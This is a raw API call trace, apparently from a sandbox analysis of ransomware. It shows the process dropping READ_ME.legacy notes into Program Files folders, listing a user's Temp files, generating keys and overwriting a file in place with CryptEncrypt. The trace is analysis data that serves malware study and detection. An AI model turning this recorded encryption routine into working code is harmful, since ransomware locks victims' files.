lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x96666154, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x96666154, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0200.694] CreateFileW (lpFileName="\\Program Files (x86)\\Windows Portable Devices\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\windows portable devices\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.696] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.697] CloseHandle (hObject=0x1c70) returned 1 [0200.697] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94b0a0d6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94b0a0d6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0200.697] CreateFileW (lpFileName="\\Program Files (x86)\\Windows Sidebar\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\windows sidebar\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.698] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.699] CloseHandle (hObject=0x1c70) returned 1 [0200.702] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94abdc5c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94abdc5c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0200.702] CreateFileW (lpFileName="\\Program Files (x86)\\WindowsPowerShell\\READ_ME.legacy" (normalized: "c:\\program files (x86)\\windowspowershell\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c70 [0200.703] WriteFile (in: hFile=0x1c70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.703] CloseHandle (hObject=0x1c70) returned 1 [0200.703] FindNextFileW (in: hFindFile=0x30d17b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94abdc5c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94abdc5c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0200.703] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcd8c4b40, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xcd8c4b40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d14b0 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcd8c4b40, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xcd8c4b40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a18b70, ftCreationTime.dwHighDateTime=0x1d4cce4, ftLastAccessTime.dwLowDateTime=0xef525da0, ftLastAccessTime.dwHighDateTime=0x1d4ca1a, ftLastWriteTime.dwLowDateTime=0xef525da0, ftLastWriteTime.dwHighDateTime=0x1d4ca1a, nFileSizeHigh=0x0, nFileSizeLow=0xa4b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="- X2rO6x6C5.jpg", cAlternateFileName="-X2RO6~1.JPG")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5106380, ftCreationTime.dwHighDateTime=0x1d4c5c6, ftLastAccessTime.dwLowDateTime=0x91b5c270, ftLastAccessTime.dwHighDateTime=0x1d4cea9, ftLastWriteTime.dwLowDateTime=0x91b5c270, ftLastWriteTime.dwHighDateTime=0x1d4cea9, nFileSizeHigh=0x0, nFileSizeLow=0x137bd, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0HwPO0Ms.avi", cAlternateFileName="")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca3e1b50, ftCreationTime.dwHighDateTime=0x1d4cc43, ftLastAccessTime.dwLowDateTime=0x2b4e7310, ftLastAccessTime.dwHighDateTime=0x1d4cda0, ftLastWriteTime.dwLowDateTime=0x2b4e7310, ftLastWriteTime.dwHighDateTime=0x1d4cda0, nFileSizeHigh=0x0, nFileSizeLow=0x2257, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="anKwnKnHz.mkv", cAlternateFileName="ANKWNK~1.MKV")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b39e950, ftCreationTime.dwHighDateTime=0x1d4c700, ftLastAccessTime.dwLowDateTime=0xb3ca7f10, ftLastAccessTime.dwHighDateTime=0x1d4cdee, ftLastWriteTime.dwLowDateTime=0xb3ca7f10, ftLastWriteTime.dwHighDateTime=0x1d4cdee, nFileSizeHigh=0x0, nFileSizeLow=0x13887, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="aqgiPa3j 0h.mp3", cAlternateFileName="AQGIPA~1.MP3")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b564d10, ftCreationTime.dwHighDateTime=0x1d4d197, ftLastAccessTime.dwLowDateTime=0x5ac34470, ftLastAccessTime.dwHighDateTime=0x1d4c74e, ftLastWriteTime.dwLowDateTime=0x5ac34470, ftLastWriteTime.dwHighDateTime=0x1d4c74e, nFileSizeHigh=0x0, nFileSizeLow=0xf0f9, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="BzLn.mp3", cAlternateFileName="")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33ed970, ftCreationTime.dwHighDateTime=0x1d4d0ff, ftLastAccessTime.dwLowDateTime=0xccca7900, ftLastAccessTime.dwHighDateTime=0x1d4c805, ftLastWriteTime.dwLowDateTime=0xccca7900, ftLastWriteTime.dwHighDateTime=0x1d4c805, nFileSizeHigh=0x0, nFileSizeLow=0x179af, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="EdXw.rtf", cAlternateFileName="")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6031640, ftCreationTime.dwHighDateTime=0x1d4d0e9, ftLastAccessTime.dwLowDateTime=0x6f0c1b30, ftLastAccessTime.dwHighDateTime=0x1d4cd27, ftLastWriteTime.dwLowDateTime=0x6f0c1b30, ftLastWriteTime.dwHighDateTime=0x1d4cd27, nFileSizeHigh=0x0, nFileSizeLow=0xac72, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="egUQQ lA.mp3", cAlternateFileName="EGUQQL~1.MP3")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0ba6e0, ftCreationTime.dwHighDateTime=0x1d4cc75, ftLastAccessTime.dwLowDateTime=0xd57a9e0, ftLastAccessTime.dwHighDateTime=0x1d4c9cb, ftLastWriteTime.dwLowDateTime=0xd57a9e0, ftLastWriteTime.dwHighDateTime=0x1d4c9cb, nFileSizeHigh=0x0, nFileSizeLow=0x17a21, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="HwY4NIt.odt", cAlternateFileName="")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a6fd4a0, ftCreationTime.dwHighDateTime=0x1d4c6fd, ftLastAccessTime.dwLowDateTime=0x84d21e0, ftLastAccessTime.dwHighDateTime=0x1d4cb4d, ftLastWriteTime.dwLowDateTime=0x84d21e0, ftLastWriteTime.dwHighDateTime=0x1d4cb4d, nFileSizeHigh=0x0, nFileSizeLow=0x4c74, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="IjmjEMTreFJ5AaY0Pw.bmp", cAlternateFileName="IJMJEM~1.BMP")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e208a10, ftCreationTime.dwHighDateTime=0x1d4d191, ftLastAccessTime.dwLowDateTime=0x7643dab0, ftLastAccessTime.dwHighDateTime=0x1d4cdda, ftLastWriteTime.dwLowDateTime=0x7643dab0, ftLastWriteTime.dwHighDateTime=0x1d4cdda, nFileSizeHigh=0x0, nFileSizeLow=0x1837, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="l wpNhlFxAlkNSAMo.flv", cAlternateFileName="LWPNHL~1.FLV")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b69b320, ftCreationTime.dwHighDateTime=0x1d4d026, ftLastAccessTime.dwLowDateTime=0x3256a7b0, ftLastAccessTime.dwHighDateTime=0x1d4d230, ftLastWriteTime.dwLowDateTime=0x3256a7b0, ftLastWriteTime.dwHighDateTime=0x1d4d230, nFileSizeHigh=0x0, nFileSizeLow=0xf823, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="nkcZYT338bczy82dC1gb.rtf", cAlternateFileName="NKCZYT~1.RTF")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8924780, ftCreationTime.dwHighDateTime=0x1d4cb55, ftLastAccessTime.dwLowDateTime=0xe163e360, ftLastAccessTime.dwHighDateTime=0x1d4c891, ftLastWriteTime.dwLowDateTime=0xe163e360, ftLastWriteTime.dwHighDateTime=0x1d4c891, nFileSizeHigh=0x0, nFileSizeLow=0xfd17, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="NkfWl6aOC_.docx", cAlternateFileName="NKFWL6~1.DOC")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5df39510, ftCreationTime.dwHighDateTime=0x1d4d5ad, ftLastAccessTime.dwLowDateTime=0xc6794810, ftLastAccessTime.dwHighDateTime=0x1d4cf99, ftLastWriteTime.dwLowDateTime=0xc6794810, ftLastWriteTime.dwHighDateTime=0x1d4cf99, nFileSizeHigh=0x0, nFileSizeLow=0x53a8, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="NkN_1EW4ONt RpSB.mp3", cAlternateFileName="NKN_1E~1.MP3")) returned 1 [0200.704] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf425290, ftCreationTime.dwHighDateTime=0x1d4c65f, ftLastAccessTime.dwLowDateTime=0x25ba6e50, ftLastAccessTime.dwHighDateTime=0x1d4d489, ftLastWriteTime.dwLowDateTime=0x25ba6e50, ftLastWriteTime.dwHighDateTime=0x1d4d489, nFileSizeHigh=0x0, nFileSizeLow=0x5f54, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="NpTBi9qG-kJuCWiRk.mp4", cAlternateFileName="NPTBI9~1.MP4")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4418020, ftCreationTime.dwHighDateTime=0x1d4d235, ftLastAccessTime.dwLowDateTime=0x8c1766a0, ftLastAccessTime.dwHighDateTime=0x1d4d072, ftLastWriteTime.dwLowDateTime=0x8c1766a0, ftLastWriteTime.dwHighDateTime=0x1d4d072, nFileSizeHigh=0x0, nFileSizeLow=0x6351, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="PEqOH3etekI.ots", cAlternateFileName="PEQOH3~1.OTS")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8f910, ftCreationTime.dwHighDateTime=0x1d4c764, ftLastAccessTime.dwLowDateTime=0xbd353f80, ftLastAccessTime.dwHighDateTime=0x1d4d2a4, ftLastWriteTime.dwLowDateTime=0xbd353f80, ftLastWriteTime.dwHighDateTime=0x1d4d2a4, nFileSizeHigh=0x0, nFileSizeLow=0x1670d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="pLfPZ.mp4", cAlternateFileName="")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bd0, ftCreationTime.dwHighDateTime=0x1d4c7b1, ftLastAccessTime.dwLowDateTime=0xfea3d300, ftLastAccessTime.dwHighDateTime=0x1d4d556, ftLastWriteTime.dwLowDateTime=0xfea3d300, ftLastWriteTime.dwHighDateTime=0x1d4d556, nFileSizeHigh=0x0, nFileSizeLow=0x7415, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="pwy76EnqL.bmp", cAlternateFileName="PWY76E~1.BMP")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7b3a00, ftCreationTime.dwHighDateTime=0x1d4cce0, ftLastAccessTime.dwLowDateTime=0xca657860, ftLastAccessTime.dwHighDateTime=0x1d4cf83, ftLastWriteTime.dwLowDateTime=0xca657860, ftLastWriteTime.dwHighDateTime=0x1d4cf83, nFileSizeHigh=0x0, nFileSizeLow=0xa0bc, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Rj6ok5slir3id.rtf", cAlternateFileName="RJ6OK5~1.RTF")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafabb890, ftCreationTime.dwHighDateTime=0x1d4d01e, ftLastAccessTime.dwLowDateTime=0xb1f482c0, ftLastAccessTime.dwHighDateTime=0x1d4cbce, ftLastWriteTime.dwLowDateTime=0xb1f482c0, ftLastWriteTime.dwHighDateTime=0x1d4cbce, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="sBfGMevpiW1Ia2M.csv", cAlternateFileName="SBFGME~1.CSV")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513070d0, ftCreationTime.dwHighDateTime=0x1d4d005, ftLastAccessTime.dwLowDateTime=0x639da4b0, ftLastAccessTime.dwHighDateTime=0x1d4cf86, ftLastWriteTime.dwLowDateTime=0x639da4b0, ftLastWriteTime.dwHighDateTime=0x1d4cf86, nFileSizeHigh=0x0, nFileSizeLow=0xc4e7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="t2NPahIxXaAPh6.gif", cAlternateFileName="T2NPAH~1.GIF")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee55ed00, ftCreationTime.dwHighDateTime=0x1d4d522, ftLastAccessTime.dwLowDateTime=0x1f8455f0, ftLastAccessTime.dwHighDateTime=0x1d4c665, ftLastWriteTime.dwLowDateTime=0x1f8455f0, ftLastWriteTime.dwHighDateTime=0x1d4c665, nFileSizeHigh=0x0, nFileSizeLow=0x856e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="t6wrgSty.odp", cAlternateFileName="")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5919cc80, ftCreationTime.dwHighDateTime=0x1d4d2ba, ftLastAccessTime.dwLowDateTime=0xa1716650, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0xa1716650, ftLastWriteTime.dwHighDateTime=0x1d4c694, nFileSizeHigh=0x0, nFileSizeLow=0x8b67, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="T8S1f6ubO.gif", cAlternateFileName="T8S1F6~1.GIF")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6b4da0, ftCreationTime.dwHighDateTime=0x1d4d3e4, ftLastAccessTime.dwLowDateTime=0x4c1a3420, ftLastAccessTime.dwHighDateTime=0x1d4cd15, ftLastWriteTime.dwLowDateTime=0x4c1a3420, ftLastWriteTime.dwHighDateTime=0x1d4cd15, nFileSizeHigh=0x0, nFileSizeLow=0x467f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="UOVEsd72 nhsf.bmp", cAlternateFileName="UOVESD~1.BMP")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8d2a630, ftCreationTime.dwHighDateTime=0x1d4d494, ftLastAccessTime.dwLowDateTime=0x89eaa330, ftLastAccessTime.dwHighDateTime=0x1d4c60c, ftLastWriteTime.dwLowDateTime=0x89eaa330, ftLastWriteTime.dwHighDateTime=0x1d4c60c, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="VDmL.jpg", cAlternateFileName="")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ff0d10, ftCreationTime.dwHighDateTime=0x1d4c992, ftLastAccessTime.dwLowDateTime=0x3db28fd0, ftLastAccessTime.dwHighDateTime=0x1d4d36f, ftLastWriteTime.dwLowDateTime=0x3db28fd0, ftLastWriteTime.dwHighDateTime=0x1d4d36f, nFileSizeHigh=0x0, nFileSizeLow=0xd881, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="WYBR2B0 ltJT_NKxw0.odp", cAlternateFileName="WYBR2B~1.ODP")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d72ecd0, ftCreationTime.dwHighDateTime=0x1d4cdb8, ftLastAccessTime.dwLowDateTime=0xabdbbcd0, ftLastAccessTime.dwHighDateTime=0x1d4c6b2, ftLastWriteTime.dwLowDateTime=0xabdbbcd0, ftLastWriteTime.dwHighDateTime=0x1d4c6b2, nFileSizeHigh=0x0, nFileSizeLow=0x15f6d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="YgHK.avi", cAlternateFileName="")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdbfe1c0, ftCreationTime.dwHighDateTime=0x1d4d588, ftLastAccessTime.dwLowDateTime=0xa52da3f0, ftLastAccessTime.dwHighDateTime=0x1d4cc87, ftLastWriteTime.dwLowDateTime=0xa52da3f0, ftLastWriteTime.dwHighDateTime=0x1d4cc87, nFileSizeHigh=0x0, nFileSizeLow=0x162bf, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="YnjdSGh5flKVsD7hC.mp4", cAlternateFileName="YNJDSG~1.MP4")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150240, ftCreationTime.dwHighDateTime=0x1d4cee0, ftLastAccessTime.dwLowDateTime=0x3c272bb0, ftLastAccessTime.dwHighDateTime=0x1d4cecb, ftLastWriteTime.dwLowDateTime=0x3c272bb0, ftLastWriteTime.dwHighDateTime=0x1d4cecb, nFileSizeHigh=0x0, nFileSizeLow=0x10652, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="YO-hQXLDYtld.ots", cAlternateFileName="YO-HQX~1.OTS")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e8c33b0, ftCreationTime.dwHighDateTime=0x1d4cc05, ftLastAccessTime.dwLowDateTime=0xdf824350, ftLastAccessTime.dwHighDateTime=0x1d4c6ea, ftLastWriteTime.dwLowDateTime=0xdf824350, ftLastWriteTime.dwHighDateTime=0x1d4c6ea, nFileSizeHigh=0x0, nFileSizeLow=0xe37a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="zI_O5uGs8G4wYWNHPeD.flv", cAlternateFileName="ZI_O5U~1.FLV")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f29e80, ftCreationTime.dwHighDateTime=0x1d4c74b, ftLastAccessTime.dwLowDateTime=0x99747640, ftLastAccessTime.dwHighDateTime=0x1d4d04e, ftLastWriteTime.dwLowDateTime=0x99747640, ftLastWriteTime.dwHighDateTime=0x1d4d04e, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="_tgA1kF_eyqeD.m4a", cAlternateFileName="_TGA1K~1.M4A")) returned 1 [0200.705] FindNextFileW (in: hFindFile=0x30d14b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f29e80, ftCreationTime.dwHighDateTime=0x1d4c74b, ftLastAccessTime.dwLowDateTime=0x99747640, ftLastAccessTime.dwHighDateTime=0x1d4d04e, ftLastWriteTime.dwLowDateTime=0x99747640, ftLastWriteTime.dwHighDateTime=0x1d4d04e, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="_tgA1kF_eyqeD.m4a", cAlternateFileName="_TGA1K~1.M4A")) returned 0 [0200.706] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0200.706] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0200.706] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\zI_O5uGs8G4wYWNHPeD.flv", dwFileAttributes=0x80) returned 1 [0200.706] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\zI_O5uGs8G4wYWNHPeD.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\zi_o5ugs8g4wywnhped.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.706] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=58234) returned 1 [0200.706] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d7040, nNumberOfBytesToRead=0xe37a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7040*, lpNumberOfBytesRead=0x2e1f9bc*=0xe37a, lpOverlapped=0x0) returned 1 [0200.707] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-58234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.707] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xe37a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe37a, lpOverlapped=0x0) returned 1 [0200.708] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe37a [0200.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, 